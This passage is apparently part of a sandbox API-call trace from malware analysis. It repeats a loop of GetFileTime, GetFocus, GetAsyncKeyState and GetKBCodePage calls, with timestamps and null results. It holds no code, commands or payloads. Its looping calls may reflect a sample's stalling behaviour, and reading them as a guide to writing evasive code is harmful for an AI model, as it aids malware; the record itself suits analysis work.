0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.094] GetAsyncKeyState (vKey=58) returned 0 [0026.094] GetKBCodePage () returned 0x1b5 [0026.094] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.094] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.095] GetFocus () returned 0x0 [0026.095] GetAsyncKeyState (vKey=58) returned 0 [0026.095] GetKBCodePage () returned 0x1b5 [0026.096] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.096] GetFocus () returned 0x0 [0026.096] GetAsyncKeyState (vKey=58) returned 0 [0026.096] GetKBCodePage () returned 0x1b5 [0026.096] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.096] GetFocus () returned 0x0 [0026.096] GetAsyncKeyState (vKey=58) returned 0 [0026.096] GetKBCodePage () returned 0x1b5 [0026.096] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.096] GetFocus () returned 0x0 [0026.096] GetAsyncKeyState (vKey=58) returned 0 [0026.096] GetKBCodePage () returned 0x1b5 [0026.096] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.096] GetFocus () returned 0x0 [0026.096] GetAsyncKeyState (vKey=58) returned 0 [0026.096] GetKBCodePage () returned 0x1b5 [0026.096] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.096] GetFocus () returned 0x0 [0026.096] GetAsyncKeyState (vKey=58) returned 0 [0026.096] GetKBCodePage () returned 0x1b5 [0026.096] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.096] GetFocus () returned 0x0 [0026.096] GetAsyncKeyState (vKey=58) returned 0 [0026.096] GetKBCodePage () returned 0x1b5 [0026.096] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.108] GetFocus () returned 0x0 [0026.108] GetAsyncKeyState (vKey=58) returned 0 [0026.108] GetKBCodePage () returned 0x1b5 [0026.108] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.108] GetFocus () returned 0x0 [0026.108] GetAsyncKeyState (vKey=58) returned 0 [0026.108] GetKBCodePage () returned 0x1b5 [0026.108] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.108] GetFocus () returned 0x0 [0026.108] GetAsyncKeyState (vKey=58) returned 0 [0026.108] GetKBCodePage () returned 0x1b5 [0026.108] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.108] GetFocus () returned 0x0 [0026.108] GetAsyncKeyState (vKey=58) returned 0 [0026.108] GetKBCodePage () returned 0x1b5 [0026.108] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.108] GetFocus () returned 0x0 [0026.108] GetAsyncKeyState (vKey=58) returned 0 [0026.108] GetKBCodePage () returned 0x1b5 [0026.108] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.108] GetFocus () returned 0x0 [0026.108] GetAsyncKeyState (vKey=58) returned 0 [0026.108] GetKBCodePage () returned 0x1b5 [0026.108] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.108] GetFocus () returned 0x0 [0026.108] GetAsyncKeyState (vKey=58) returned 0 [0026.108] GetKBCodePage () returned 0x1b5 [0026.108] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.109] GetFocus () returned 0x0 [0026.109] GetAsyncKeyState (vKey=58) returned 0 [0026.109] GetKBCodePage () returned 0x1b5 [0026.109] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.110] GetKBCodePage () returned 0x1b5 [0026.110] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 